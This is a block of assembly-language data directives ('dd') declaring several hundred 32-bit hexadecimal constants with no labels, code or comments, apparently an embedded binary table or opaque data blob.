dd 0D649C23Ah, 0BF18C7E4h, 7D47C851h, 0D1E44D46h, 0CF516DF6h
dd 0E4DFA30Ah, 41D90178h, 2324E9B2h, 0CB831E88h, 3638AE9h
dd 0D04EE99Bh, 27A7560Fh, 74BC9D91h, 184ECA31h, 92DDE65Fh
dd 2D1DE568h, 8E0E6552h, 0CA1BDAECh, 0A929FA20h, 3862F03Dh
dd 471C5D14h, 840B5C5Fh, 3CFF52B1h, 0A656012Fh, 0AB69D028h
dd 1E5A8294h, 0F624822Dh, 0B7CCA815h, 0DB5038B2h, 25A76DD3h
dd 56228446h, 7CC942FAh, 94B74694h, 39B85AF8h, 0F1B956D8h
dd 0F64F8E54h, 0C551D33Dh, 0C3D69823h, 0C56196DDh, 74C18A9Fh
dd 0CA0320AFh, 7420FA2Bh, 94247CF1h, 39E4A0C9h, 6BFA2E74h
dd 0E0730ADh, 0F1777E1Eh, 0C94CDD9Ch, 6FA0B25Bh, 604C5875h
dd 412BD0AAh, 0B20AAEC1h, 6795CE7Ah, 17B663EDh, 0E8558D2Dh
dd 0BF563FD3h, 9F27CC2Dh, 759AF70h, 0F5AA498Ah, 0DABF4DC8h
dd 1DA147EFh, 12A879DCh, 0C02BFC27h, 0DA858AB6h, 40AF011Fh
dd 36CBA7C0h, 0A1342FEh, 4C699D99h, 4F5B4E76h, 152E838Ah
dd 3EDC71BEh, 0A69073BFh, 4E737643h, 0F8C1BF05h, 0E6B338FEh
dd 3A4DAD08h, 0B264945Dh, 79BED411h, 4AEFBF9Ah, 65FF967Fh
dd 11725CAAh, 0A763D09Bh, 0A50877B6h, 8576EF9h, 17FEAB84h
dd 0D15B06D8h, 0EB063DA2h, 0F047BC05h, 0AA0A0346h, 0F2F49863h
dd 0DF4FAB5h, 8D924D3h, 135033EBh, 15D77893h, 89A033FEh
dd 53CED304h, 8FD9D4ADh, 607DAA7Bh, 82840CF9h, 93B660C8h
dd 2BAB7FBCh, 0C82ED197h, 541ACBCBh, 9C21296h, 0AF3E0317h
dd 79063142h, 290943E5h, 0C96289C6h, 6E84DB51h, 0A906CE6h
dd 0A60B6057h, 0C2235B9Ch, 1248F0BDh, 53AA26B0h, 80F5925Ah
dd 834C2C60h, 52FFC43h, 1E98AB59h, 9959ED59h, 0FB0ABD2Dh
dd 1EA6BEFFh, 0E717C795h, 39397085h, 521520D4h, 4425A545h
dd 8582ADBDh, 448CC512h, 0E66BDAC7h, 0ED70D339h, 0C22D440h
dd 0B4844ECDh, 0D508D648h, 4537A312h, 0E6863C54h, 0FFB437BCh
dd 4187DE2Ah, 0F704E9F1h, 0EFE857C2h, 0C483400Dh, 1C09BA87h
dd 0F790F39Eh, 0E98B5417h, 0D17CF51Dh, 70707D77h, 632BF427h
dd 43A2D48Dh, 3FD9FCE2h, 0E4AE798Eh, 6A656A0Dh, 0B134BCACh
dd 601510A4h, 7161563Bh, 1970BE68h, 90D9D68Ah, 0FB03A5B3h
dd 189F0F57h, 42935247h, 2D62B7CCh, 0EA53F508h, 7152783Dh
dd 95D90E8Bh, 7102B7B0h, 6C47BFB2h, 513A8021h, 0A408ECDCh
dd 90EBB141h, 0EE7F37D7h, 25BDADE5h, 171F32FEh, 795D0C32h
dd 4C286280h, 47BC9F65h, 0C96AD30Eh, 2304B656h, 0CB22D362h
dd 0FDBF9113h, 501B6B30h, 36E8B13Bh, 91DFBC6Eh, 0F3258B55h
dd 0F12CD888h, 0D3F0BC7Ch, 0F50BEE02h, 0F5C07686h, 0B5008D69h
dd 0D1650A57h, 0DEF8EAD3h, 69F020F5h, 160ECA91h, 0DC391DA4h
dd 0E19CF75Ah, 0DD8B3AE3h, 0D0CF5A51h, 9CDEB5A6h, 0FE1198E0h
dd 0CDF8084Eh, 977B0232h, 0FA78A84Fh, 0E31D3Eh, 1BCA7E30h
dd 938FCA96h, 597A771Eh, 55F65343h, 0BEB7E3D3h, 0B351D07Bh
dd 22C2CB8Bh, 24363E78h, 46EA75D5h, 0DBD92E09h, 0ED3B42F2h
dd 0A04F462Ch, 0DA848D7Ch, 0C9AB4B3Ah, 3DCDDE18h, 9260C94Ch
dd 0B83574E5h, 5A8A4D34h, 5050BB17h, 0BCD701Fh, 26AF0589h
dd 4DE0EC55h, 0BDFE46DBh
dd 10DFCDE2h, 0A0A93CDEh, 292713B9h, 8712D186h, 3EB18CBBh
dd 367DDBA5h, 518C5CE2h, 0BF7E8756h, 90D739FDh, 9FA3236Bh
dd 6688F3C0h, 0D171AC44h, 0A8988C4Dh, 7B882965h, 4ACBEB8Ch
dd 8493C78Ah, 8A223EFDh, 0E68497E1h, 22FB9918h, 0BF9498B8h
dd 386E115Bh, 0CCF0D6DCh, 8544CA02h, 6738FDBEh, 3081FAC0h
dd 7F71D26Bh, 0DAF84496h, 0E55F34Ah, 28FEE62Ch, 8E5A358Fh
dd 0E0E4D15h, 2E8136C7h, 8D3329F3h, 6BF5079Fh, 43824352h
dd 4928D39Eh, 0F53A23F3h, 0E2A8C45Eh, 0AD5FD989h, 6FE92B12h
dd 58950765h, 2ADE88C5h, 311D615Bh, 0C0B041D0h, 8347BDAAh
dd 0C7FAB683h, 1BE1806Fh, 25D9F21Dh, 197C5AE4h, 0A7DC1A94h
dd 0BCC656CAh, 9174998Ch, 8C65FD91h, 0A74A8C13h, 0F8F473B1h
dd 0A8261EB7h, 5D7F2B9h, 0C1C9491Dh, 9A1CF4CDh, 948D7C21h
dd 0FFEF8244h, 0E3CCBB2Eh, 0D823AEB7h, 8E3B82E5h, 0CE89C845h
dd 0F1BDF9EEh, 0D5115220h, 0FF7B87ACh, 8D912C93h, 7FE31DDEh
dd 7780C1A6h, 58A06862h, 0F3F88BAAh, 0ADF6AC89h, 0FEF76CD1h
dd 0A8136497h, 0C1135BA5h, 0EE8EE781h, 1899BD2Bh, 275400E5h
dd 0A9FAB5BCh, 0B5CBBAD7h, 3737DF43h, 0FF6A316Eh, 736C70F0h
dd 0FA2DBEB0h, 1F18F73Ah, 0A884BA32h, 0B50184DBh, 0EE19C89Ch
dd 0F6660218h, 0BC2FC8B5h, 6893E973h, 15C1749Dh, 5344464Ah
dd 0F5AC632Ah, 84C17C3Dh, 0DE9C1F67h, 0CC3603C3h, 7EAA73E9h
dd 0CD47C032h, 0D5BFC2BEh, 1948C868h, 59041EBEh, 72BB7BB9h
dd 6FF68ED9h, 0BDA78117h, 206C35F1h, 44B92EDCh, 0E67C98CEh
dd 36F3C28Fh, 0F8FC26DEh, 0E841DCE6h, 0A7C0661Dh, 6DFFF7DDh
dd 0DC8587BAh, 9FCC2752h, 47D8664Dh, 5AA7652Dh, 0A69B9A6Eh
dd 3416D7FCh, 0A50F0917h, 446E32F7h, 0D6501786h, 0EF503643h
dd 0A51A85DBh, 0BE0BC0CBh, 0FF5D4823h, 5EDD87EFh, 0B1E1C370h
dd 0AC4C21ABh, 4BCE8986h, 8055CA82h, 80007489h, 5E871486h
dd 0B6AF52BBh, 5FDD6B93h, 7A565894h, 2EE627CDh, 0CA63E530h
dd 94799F46h, 749B4D8Dh, 0B2AB5DC8h, 2EF0757Ah, 0D90F6727h
dd 787B8358h, 9F848E30h, 63C76206h, 0D65A2719h, 9A474668h
dd 0CEFCDB32h, 158D8EB1h, 0BF51A949h, 7A3F9407h, 9FC7FE47h
dd 0E3266154h, 2AF750FDh, 0E230BE43h, 0F0C66BFFh, 138DE418h
dd 2B821F6Ch, 0EF35F61h, 10AC8880h, 0BDA7B34Dh, 551C9933h
dd 0D277B6D7h, 0C8758414h, 0B55F22EFh, 0B461A24Eh, 91670DCBh
dd 16618B2Ch, 0AFB2E619h, 7A29E720h, 0DC22297h, 88259E95h
dd 0DD1FC5BCh, 0B0B216DBh, 12EB4BBh, 33621465h, 59BC87E8h
dd 0EA8EAE79h, 9C1AA3C7h, 60723F5Fh, 0B2504F39h, 5D1BDB7Eh
dd 0E8ACBE45h, 0B77DA9E0h, 94B4DF44h, 6A9FB1A0h, 6A7A1544h
dd 1388BD40h, 3D58E24Bh, 0CDE91064h, 14053EBEh, 0C706B0D6h
dd 0B334A696h, 388973D8h, 7D8AF64Ch, 975AD288h, 31C4A615h
dd 3A382251h, 0E1DE4AB4h, 0D6BBDFC0h, 0DBA41DD0h, 0C519A944h
dd 0C0D725D4h, 2A7A7293h, 0BDF981E8h, 330C31F8h, 0B25BC86h
dd 71F107C1h, 0CE08549Eh, 0C301C50Dh, 384DCA64h, 83B69184h
dd 0EDF4409Ch, 19EDDA37h, 986322DBh, 0B3603F52h, 62964D01h
dd 8AA535E2h, 0F2E045A0h, 0C74A8B44h, 7F38BEEFh, 0F963DE04h
dd 471DA41h, 91AAC392h, 538A6E1Ch, 0B3CE1758h, 4C326D7h
dd 0AD613BFh, 21E5E60Dh, 77E90D59h, 64C0418Ah, 6C2AB5AAh
dd 6EE18425h, 30F60FA4h, 0CAF82706h, 0AB29A460h, 0A79B3FAh
dd 3FA16FFFh, 9544E08Ah, 8398BB58h, 2F252DBAh, 20190D36h
dd 2DD84136h, 23C889AAh, 10D23F0Ch, 0B6285179h, 2B68996Ch
dd 0F7320491h, 6FF47F28h, 2BF64D8Eh, 36157EA5h, 921A25FDh
dd 59C625CFh, 7CFD26Ah, 0C41B9B19h, 83BF775h, 53F224F6h
dd 4BC8D2D7h, 9731E994h, 0E99E5F75h, 82BD64FCh, 71ED96A2h
dd 0D011FF46h, 10EAA08Bh, 32B4A152h, 119E7E71h, 0EC67635Ah
dd 2E29862Bh, 0E9340CF5h, 0D2D9F160h, 0DD2E2C4Dh, 40C2089Bh
dd 5E444BAAh, 0E4614935h, 27433256h, 0F4626390h, 10F38674h
dd 19626030h, 6D9CA2A1h, 448838E8h, 0FE74A5C0h, 253EF53Dh
dd 187EBC3Ah, 0AD8C7A7Ch, 57CDF86Eh, 2C8E3FF2h, 0FF3DF113h
dd 0D6A96E00h, 6CF24037h, 1FEA4E8h, 14D5EDAEh, 2ADB4B9Fh
dd 0D36E7C2Ah, 6CEFF0C6h, 0CA2AFFh, 304A5FEh, 0DB7AB122h
dd 69D8050h, 0B6119766h, 2A33FE18h, 0C86806FEh, 0D943CB13h
dd 0E267EE82h, 0C3832170h, 81A45932h, 0B40A6BC7h, 3B2615F9h
dd 65AFC3Eh, 679B7533h, 0EA6028A8h, 8109222Bh, 0FA9F2104h
dd 49F021E6h, 0E57B5BB3h, 0BBBB7EABh, 45805934h, 8286C828h
dd 32F450h, 0FBBB7037h, 521C09BFh, 0C8DCA069h, 0D94889CAh
dd 0B4F4F7B1h, 38F69F7Eh, 459AEEB8h, 603FADF1h, 0D9B18946h
dd 98DF915Eh, 378C185Dh, 65DC7981h, 0EB18D5E2h, 6299A47h
dd 3577B2D8h, 1DD754F2h, 0B9478BB5h, 0D906D951h, 4CC82464h
dd 0B63E76B8h, 969A4272h, 0D466D278h, 88197CBCh, 4D985787h
dd 0FCB66BABh, 6ECCF2Bh, 66C25ABEh, 0EB42417Ch, 3A2A4B09h
dd 7828DF5h, 1DCCBF3Dh, 0B8C2510Bh, 5E5D68A1h, 14F554C6h
dd 0C6CEE189h, 0AB6B7283h, 34669C73h, 3AE79A88h, 2901275Ch
dd 20F9D294h, 0BF94377Eh, 6E5DA482h, 0ABB270CCh, 5448FDF8h
dd 722ACE56h, 92D7D6BDh, 9A94E541h, 0F5C66Fh, 659E5750h
dd 0DD5A48D7h, 0CCA68741h, 6059AB15h, 2EFE8E1h, 4A8B0F44h
dd 0A2CA76Fh, 0E74457AAh, 1B964795h, 440520D0h, 1024758Ch
dd 30D5B7C4h, 0D2DA5000h, 7C10A34Dh, 0BCFE984Ch, 40766FF4h
dd 0F45135C7h, 70DD5439h, 97AB083Ch, 1A67FB60h, 0E668B745h
dd 0E75BD4A4h, 4A98787Ah, 0FC644745h, 648B47E6h, 0E727262Fh
dd 1DC45F2Fh, 30F140A9h, 0E3112265h, 812ABBAh, 9F461EB4h
dd 0F8D6DE8Fh, 0D8C2A42Fh, 0B51D115Ah, 92E0D999h, 0F607E869h
dd 5EF71A3Ch, 0DEB4BEFBh, 119A57DFh, 0B635BD0Ah, 72FB2C79h
dd 0C320F424h, 92A620Eh, 92236DBCh, 854F6D93h, 3945FD60h
dd 7BC50CF4h, 0A3AF93B0h, 73279D18h, 25F7864Fh, 0BA446A46h
dd 0ABC332F2h, 0A898521Eh, 0D81BE0CAh, 9A0AFB57h, 0BDBCC1DAh
dd 0E1C59F48h, 80ADC71Bh, 0E212ABD6h, 0EE12D843h, 25877AB3h
dd 6DC1F67Ch, 0A7F66CECh, 5BE75584h, 39687976h, 63D16643h
dd 8944E32Bh, 6CF7FB5Ah, 6B8FE5A6h, 0B3F77927h, 0D2BA3262h
dd 0EA50BE79h, 93822069h, 48CAFB4Ch, 3F9729F0h, 2B10F208h
dd 95EE94D4h, 434D9F1Ah, 0FDAD32FCh, 5EB6423Fh, 0F580323Ch
dd 0FE314747h, 46270C38h, 9814EA70h, 297875C0h, 9878D96Eh
dd 0FB7001F1h, 8F80D2A4h, 0C222ACD7h, 0C36137BCh, 0BB93834Ah
dd 0BD2F77Bh, 569D3E5Ch, 0C9C0D8DDh, 0A17D3DC8h, 44FCEDEh
dd 41AF7E2Fh, 3A5569E9h, 0D2F2BBB2h, 0CD48CE7Bh, 0F745C47Ah
dd 383C06ECh, 27D28E6h, 3537A961h, 0FB99DB82h, 2D8C14DAh
dd 0C8E55B0Ch, 7FED0BE9h, 0F1CE9F9Eh, 8633768Eh, 0C41EDED9h
dd 0D16A970Eh, 39E58E64h, 165BA5A9h, 5E0E5376h, 0F013D72Eh
dd 0B1599E1Bh, 93D39C03h, 0CB552800h, 5A0E8788h, 1B0F3D88h
dd 0BD9AC612h, 0E86FEB44h, 0E789B17Dh, 0B8E7841Bh, 1FED8A2h
dd 7E52786Dh, 1002E68Bh, 77B0A8B3h, 0D476D372h, 379BDCCDh
dd 84D91C5h, 1926A60Dh, 1B1DCBAEh, 45E154F8h, 0F6EE842Eh
dd 0F7FC9194h, 5FBFAA75h, 7914490h, 3A16A635h, 0E382084Dh
dd 0D436921Ah, 5C04B89Fh
dd 7FB9E05h, 4B173F7Eh, 10A4DADAh, 82FB825Bh, 0E5C88043h
dd 0CE33203h, 0B4775193h, 6EF82382h, 87438C76h, 727A8D16h
dd 2CCA9698h, 8F02E06Dh, 0BF7EFD76h, 0E1E570D0h, 0EBB42226h
dd 48540CB1h, 0C97239A1h, 0BCD49C67h, 95C703C0h, 8028F7C4h
dd 9CEE748Dh, 75CEED38h, 0C774DCEAh, 4FB42F0Ch, 3BF60DDh
dd 1F1E4D3Eh, 814CCB69h, 88D1950Ch, 13098B28h, 5D5FEA7h
dd 5C2EF526h, 0EAA823EBh, 3DB8A923h, 27AA0290h, 7A8D3AFCh
dd 7C468D9Dh, 31E4D550h, 466B9267h, 25D76E37h, 4CEFD1C2h
dd 269F97B1h, 42C42387h, 0FBD7961Eh, 574D0192h, 3A50A655h
dd 0B47EEFC8h, 723FFB2Dh, 4C229688h, 0AAC8532h, 0FF46FD02h
dd 0DB692357h, 2CDA008Ch, 246AAE81h, 22C912E3h, 66BBEAD9h
dd 82D2F401h, 0DE65EA62h, 723BED5Fh, 5217053h, 0BBF757FAh
dd 68F2ABFEh, 78AEBFDFh, 0D496D392h, 0B3DA4549h, 0FEDE59D7h
dd 638E033h, 0DBB40CD0h, 0A8F2727Dh, 0BBEC1D38h, 80B91A72h
dd 21A46BB5h, 892A17EBh, 0DC88D12Ah, 99069E5Dh, 0A789521Bh
dd 0FCD3300Fh, 0F6AF1375h, 0FB655DC5h, 1D89EDEEh, 0DBF7D205h
dd 0C8D6B07Dh, 0B6D7E881h, 326B532Fh, 560C8648h, 0C96271B6h
dd 5BAFF9C9h, 551532DCh, 0FC63AD7Dh, 465E1F8h, 0F94807ACh
dd 8E9B06C5h, 90EA02ECh, 89A05FECh, 8DA378CBh, 0DD86A6A3h
dd 0C8763B30h, 313CFF60h, 0D7124960h, 5A71555h, 0A4954851h
dd 6A4414D7h, 0EE6E9E40h, 968D934h, 0BF799D79h, 25953D2h
dd 0FFBB628Dh, 4AFB026h, 38BE61F0h, 0F2CAADBFh, 460C0010h
dd 80E219E4h, 0C687AE4Dh, 53B95D00h, 87A50F03h, 5603D3C2h
dd 0CF0E4FF1h, 9A30460Fh, 0E100FA25h, 0C65181F0h, 0A074C83Fh
dd 0D6A093A5h, 0BEE01817h, 0CFC4CC0Bh, 502FACF9h, 71EE0457h
dd 0FAB647E1h, 4A8ABBBEh, 5FF70CD6h, 0C37BFED3h, 20FCE82h
dd 52D420D9h, 0FF1E03DEh, 8B8C5A39h, 2C0749FFh, 836981DAh
dd 8D40C2ACh, 885AD9ECh, 203D27Dh, 4B0AC3CAh, 97216D63h
dd 4FBA3D06h, 0E1BF7413h, 35FE43BBh, 0FF1EC879h, 18717195h
dd 0C74B0AEEh, 0A5F215B9h, 69D918DFh, 0FEA3049Bh, 659D6263h
dd 0ACC927EBh, 69C7641Bh, 0DA4461CCh, 0FC104E47h, 0FF7A2AE7h
dd 0D703DC1Dh, 9207A809h, 0FA8F77EEh, 0DD2A0F93h, 5963092Eh
dd 0C4D38892h, 595D165Bh, 0E678E082h, 0F8857E16h, 6537C4FEh
dd 0D32550A8h, 8EF77629h, 0C1552B39h, 1699395Eh, 3173ABEEh
dd 6C98EE0h, 0A31E4697h, 8E0F46Bh, 6B15F823h, 2BBED4A2h
dd 0D2B513C5h, 2F658375h, 0C7E9B0F2h, 0D397A962h, 6F2845CDh
dd 93521891h, 0AA099D42h, 0CA8619ECh, 0DC9C4588h, 4C34EFBEh
dd 0F474E322h, 6A6833FBh, 0E24ADB09h, 0BE7B8A27h, 8313013Eh
dd 166500EBh, 0E1585AABh, 89B0B230h, 58F34A8Ch, 2E3C022Bh
dd 4B2D3F02h, 0F99A1DBBh, 728B7EEEh, 93C343B8h, 0FE413D2Eh
dd 42C07DA8h, 51D11FC7h, 2AA04191h, 0C9A588E6h, 4F84A505h
dd 0DA73BACAh, 17B035CDh, 5F7162F1h, 77559077h, 2227E545h
dd 9BE4723Bh, 2D826D52h, 1AEE93FDh, 842E1B32h, 0E160AD8Fh
dd 0F1915162h, 0CB50688Bh, 70A17181h, 0EBBC8DC5h, 0C9ED3682h
dd 69FDEE7Eh, 0EC015CB3h, 0C47AC382h, 0B5C13178h, 33BD659Bh
dd 9FCB9F8h, 9A49D26Fh, 0BCB967DBh, 0B864EA06h, 0D3AF0123h
dd 0F6179902h, 148AA821h, 0BE63622h, 9F1108C7h, 0FF8E49D4h
dd 9EA5CD7h, 9AABC06Dh, 9CC23F68h, 5B63A2F1h, 27B6AF0Ah
dd 9F6DDC96h, 4F9C490Ah, 0C85BF0A4h, 3BABA83Fh, 999C55C1h
dd 0D74CD558h, 2CC7AB50h, 0A4711085h, 0A9E16C4Dh, 21FBE272h
dd 0C846F78Ah, 0BB7AED2Fh, 0B29CB97Eh, 0A1BAAE87h, 992A614Eh
dd 86978DB0h, 193F7556h, 1C5E9FF6h, 26202954h, 89C28FB2h
dd 0E39F468Ch, 8C9E3ABh, 29F502F9h, 0B039FD78h, 86532E3h
dd 5C8197DEh, 49FC9B99h, 69172EEh, 3D3368E8h, 0C354E9A3h
dd 0EE95264Bh, 0BBE74F16h, 2DB6F2A3h, 2634791Ah, 208B1E7Ch
dd 377781Ah, 49BE2730h, 0CB38BD98h, 0ECBBF250h, 0F5164B0Ch
dd 17DF53BEh, 5C8F2044h, 0A1234084h, 6387140Ch, 913914C4h
dd 0BD87B550h, 2E010DE7h, 0AA0FCC41h, 96DE7E13h, 0FD470BEBh
dd 0B223E511h, 2439FF89h, 6919D5A0h, 0CE383EC7h, 47A1B263h
dd 0A4B16995h, 0CBFA72EBh, 0F409A6C1h, 0E8C13775h, 0B708ED4Dh
dd 3F900DABh, 3F1DBAE2h, 0BCCA5703h, 729761A9h, 0B62C13D7h
dd 9F20F903h, 5B95C0D1h, 0CF8AE35Ah, 71BD44Ch, 8E02B154h
dd 81530A2Fh, 3B43C0B8h, 730FBDAFh, 6DCF0D75h, 0F7FE66FCh
dd 12C98689h, 0E250909h, 98AF2AADh, 7D069DE7h, 0F79F1427h
dd 9B4F865Ah, 3DADC1Ch, 6F7E1A3Dh, 3E206265h, 0A14CD48Bh
dd 0F1092ADBh, 0D83BE525h, 0BEDEF318h, 0DD0ABB16h, 0E857FC57h
dd 0ADDE8FFCh, 0B64B4935h, 69D6EC1Dh, 99326308h, 0ABE4CE60h
dd 0E2C4C283h, 5D4336D7h, 4182711Bh, 5BF4AB0Eh, 3B75F8D9h
dd 0CD1A8B7Ah, 82A9E426h, 0AC0381F6h, 0A08495E1h, 379AE007h
dd 298E6865h, 3C817582h, 0C51583E0h, 818EAF28h, 83CA44ACh
dd 0C24BA175h, 1845845Dh, 0E3AC46D7h, 7E258917h, 6F43EA45h
dd 0C88CA071h, 6858AD64h, 7E551DACh, 8A3B80E9h, 0A77A1CD5h
dd 84D46979h, 0FEBE8D27h, 9BFC5CA5h, 0DFD438FCh, 0DF11D136h
dd 910C8DD0h, 3B24EED9h, 39D5CF15h, 751CCCF4h, 83E44BC0h
dd 0A015CC29h, 9738A769h, 17FA24B0h, 1135D976h, 97CC621Bh
dd 59B4A983h, 0B9BFD793h, 7C929354h, 6728C140h, 0C5FEEB38h
dd 42656B0Dh, 222EB6FDh, 149786DDh, 1BE67D51h, 6B10CB7Ah
dd 0F05D46A2h, 0C7DBE0B3h, 78C980DBh, 0B82520A8h, 9F165F5Fh
dd 5025F471h, 0B6CE5207h, 713C0B3Bh, 0CD77EE94h, 0EB32FF69h
dd 68F1AECFh, 8D0D22A1h, 0C7FF9FA0h, 0F0CC61EAh, 8394ED2Dh
dd 0C85086DCh, 6ED9915Dh, 5CC82566h, 7310F61h, 8FBD7523h
dd 6B16218Ah, 15E6CCC6h, 0EB2518E6h, 0AC371B32h, 79129A52h
dd 19A1A742h, 0E281058Ah, 0A496D036h, 0B8CC300Fh, 6C639791h
dd 0EAE4B8C8h, 9BDAE85Fh, 0EF70118Ch, 99F41DBBh, 0EE21BD42h
dd 60FD2525h, 47C0F134h, 0F16FD6B5h, 0D5A5A617h, 0C6EA815Eh
dd 0E16CB2D8h, 731CE95Dh, 0C61BD641h, 83015CC6h, 3A4B9586h
dd 8189039Eh, 0E378EBB0h, 9E17FC69h, 0A82FA79Fh, 49A10873h
dd 47D0C2A6h, 8AC11BD8h, 1C29F92h, 3058051h, 3E8199D0h
dd 0FA6005A5h, 2CCFD376h, 0F62A72EBh, 95523B33h, 0F9D889FEh
dd 13337FC3h, 3715CA80h, 7D98F586h, 0BE60AC6Fh, 1B173347h
dd 0E592A7D2h, 5C834472h, 8DC5123h, 5C033270h, 56B4220h
dd 0AD545AB7h, 6EBD4B47h, 0B46C3EDEh, 4698AEB2h, 628976DFh
dd 0E73A49B8h, 3D0D5D06h, 0DFC4A60Eh, 2D8EE698h, 3A91F4FEh
dd 0A5DDD7E1h, 0B3799F33h, 4990407Eh, 7AB7814Fh, 0E4DCE74h
dd 1BC5C442h, 2AF9518Dh, 0C4313EF4h, 0BE9635F3h, 0D775A9C4h
dd 2985A11Fh, 0EE739CEh, 902675Bh, 0D60F2F78h, 0EAC83F0Fh
dd 3973FE8Ch, 1744C2A0h, 0C4F27072h, 0A6C77F8Eh, 297CA290h
dd 0B82F1D67h, 8015552Ch, 0AA8ED94Dh, 0E4580D4Bh, 2263DBD1h
dd 0E6145974h, 221265D0h, 92802DA2h, 9ECEE2A1h, 0EA64AACBh
dd 8456AB6Ah, 0CC9AC2A1h, 8B1CC269h, 49BD7D1Ch, 0EAD1DD9Fh
dd 8C4588FEh, 0F1646DF0h, 0B066B435h, 947096ACh, 0BA558017h
dd 0F951677Fh, 0E3A1DE92h, 0B2B617Dh, 2FDDB768h, 3FC694B9h
dd 8FC90A59h, 35AF3461h
dd 37B47FE4h, 250B5EA1h, 45644E71h, 6B822040h, 3A869F7Dh
dd 95D0FE00h, 0A48CA4AAh, 1B4ED732h, 43E1C015h, 370233B5h
dd 0F8360AFFh, 4795430h, 0EE40DB46h, 0C5012CD5h, 0B424CA1Bh
dd 9B933E9Eh, 0A0191436h, 27B8E24h, 0B4888DCDh, 7D583A8h
dd 2FC5F332h, 94174604h, 0E04E4893h, 0DF8C7EC5h, 0B429E6A9h
dd 3054BD54h, 0D5DB8BB4h, 9B40BA7Ah, 8B313A8Eh, 7236DCB7h
dd 54BCCA14h, 0EB34759h, 8D43517Dh, 9C5BA4D4h, 711C4EFCh
dd 0EDEAD9FCh, 0C6310D90h, 0D5CA8CECh, 6367626Bh, 54E8A95Eh
dd 912F651Ah, 9A9187E4h, 56F43FEBh, 3B952807h, 1B133E5Ah
dd 229994B6h, 0D0D5C62Eh, 457F7EA8h, 0FDECAC65h, 3F7E2288h
dd 9D97C672h, 45B5267Fh, 6927273Ch, 3B859078h, 0EBF9A1E9h
dd 0D98EBFA4h, 0C59362C6h, 7D3F6B2h, 0D1AA27A8h, 98592CEAh
dd 0D49B816Dh, 43300D78h, 0D3805F2Dh, 0C7487E22h, 6663A20Dh
dd 0E3D9E6E6h, 4AA7014Fh, 523E102h, 0B3622C8h, 1B72E4D1h
dd 533CF01h, 0FECC67E4h, 0E30371C9h, 0C60FB911h, 0C305CAAFh
dd 6A59D4F6h, 7C9CC97Dh, 80ED3746h, 0E46078B4h, 0E0708DC9h
dd 87091CFAh, 687D9B00h, 0A8DF305Fh, 0B5BBEE67h, 9D61C3A0h
dd 0A3936677h, 0EA82D2E6h, 0A0E3CC4Bh, 0BAEDC3A5h, 0CD24260Dh
dd 0B7A38231h, 95B51822h, 51B6C98h, 8110F9CAh, 667C300Ch
dd 324A9739h, 1B251013h, 234F7EA6h, 0CED65C3Ah, 80A5BF4Ah
dd 0E9D547E5h, 69DF06Ah, 0D23245E9h, 0EECF230Ch, 0EA543F2Eh
dd 139ADC01h, 6354DF5h, 9440835Eh, 8B545841h, 0FD7EC1DAh
dd 0AED112DFh, 0C9132EA3h, 543EE493h, 1BED2A94h, 5997B939h
dd 0DB92E7DAh, 0F721E6CAh, 7F229D1Fh, 0BDBA73E2h, 148D8E61h
dd 42EE731Bh, 0DA8C3048h, 0AE5347F8h, 25EFD41Ch, 9C0EFAE3h
dd 5AC293D3h, 3DF20ACh, 0F5B816A7h, 0A949DDFDh, 0D1662DAEh
dd 7BCE585Ch, 452CD781h, 0C154E5Bh, 3CBE736Dh, 0D2AB970h
dd 3E174166h, 6CCADFA8h, 73FFA066h, 449B1390h, 0BAEE9AEBh
dd 0B4BD70F8h, 7D0BF97Ch, 284D87CAh, 6E3A85ACh, 4210E9C7h
dd 0D012EC98h, 52DB5FC7h, 0F0FDB879h, 0F95FAA06h, 0DA218009h
dd 9A0CB856h, 10C4D4A9h, 0A0B55BD9h, 0EBE182DBh, 0F4FBB564h
dd 1217993Ch, 8994AA77h, 0ED46F700h, 0FB62262Fh, 0F855A07Ah
dd 2A122091h, 4177CC97h, 7A1B7647h, 6C7EDF0h, 8FAD7AD3h
dd 0E71C8B4Eh, 0CF305C82h, 0DBD53BCEh, 0BA74F414h, 0E58D4687h
dd 0FCC84045h, 0D3CDD13Eh, 4A8C957Dh, 3263A08Dh, 0F2A476FFh
dd 146123ECh, 8E43D2E5h, 3E280D6Fh, 79B47A34h, 204269DAh
dd 2B25EDB9h, 0D2A49551h, 0B92DB530h, 82BCB0F1h, 9E060EDAh
dd 49C85238h, 6F754298h, 0D5890806h, 0D23BAE77h, 0BC4B51F9h
dd 0ADF0E945h, 0DD0F56ACh, 0B1A6C06h, 0A25D2E51h, 887DFCDEh
dd 92C09528h, 0C779EA77h, 87DDE41h, 8E717B9Ah, 0FCE08562h
dd 5F5FCE24h, 240D9E25h, 0FA646FFFh, 12A02E6Eh, 0C19DB273h
dd 31F97A5h, 8B4DB1F7h, 37E01545h, 0C2EE73C8h, 34FFECBDh
dd 85D4A363h, 5688102Dh, 8A6261B0h, 84F6933Ah, 4F25CC1Dh
dd 975E8E56h, 0A16469F5h, 0A7C2211Eh, 0A7A4B9D1h, 41641015h
dd 68557030h, 32AC47Fh, 0F0811D3Ch, 522285CBh, 4A6CFBB7h
dd 311A5F76h, 1304CDD8h, 0EEE7A6DAh, 2367BF22h, 284ABB80h
dd 5DED0BC1h, 5A39FC78h, 3BD36BFDh, 52E558A6h, 0D43409D6h
dd 249D3A67h, 77E20756h, 1FE0CFEh, 1542802Fh, 62A18B38h
dd 99A868B7h, 26F57126h, 0FE91F77Eh, 0EBDC9899h, 8661EADBh
dd 91B82A3Ch, 757E3FCFh, 0A52B72DAh, 0AED992BFh, 7AC44526h
dd 27D562A3h, 30E53EE3h, 7ECC64F1h, 0D778AFF6h, 3C0997C4h
dd 7D735406h, 0EB1451CDh, 67BE9373h, 6B044768h, 36070F85h
dd 7AD471BAh, 28D15975h, 30620E22h, 0EA7AF002h, 1E612887h
dd 28E5AF5Dh, 13FF1905h, 0FA875553h, 6E21BCB3h, 3840F982h
dd 99882C41h, 5F801F98h, 3381711Ah, 52E675CCh, 3A37A4B9h
dd 0C776EF49h, 8E4FED6Ch, 0FCB3195h, 27754A63h, 826F833Dh
dd 906C1BF9h, 0A1995903h, 691ED757h, 7D688610h, 9E67F99Ah
dd 4A633E0Eh, 0B355941Bh, 7D835922h, 9819691Ah, 0A53050DBh
dd 60CB731Fh, 0B55C0AB4h, 4D6353F8h, 7227F36Eh, 79D5780Ch
dd 1E78F9DFh, 411EDF27h, 0B96285FCh, 856B1FCDh, 0D25F282Dh
dd 0E4826E2Dh, 876E7C79h, 0BFB03DCCh, 1AA57DB9h, 66612F70h
dd 9FD07DD4h, 1A57469Eh, 0BFECBB4Dh, 0F25775B8h, 2BDC892Ch
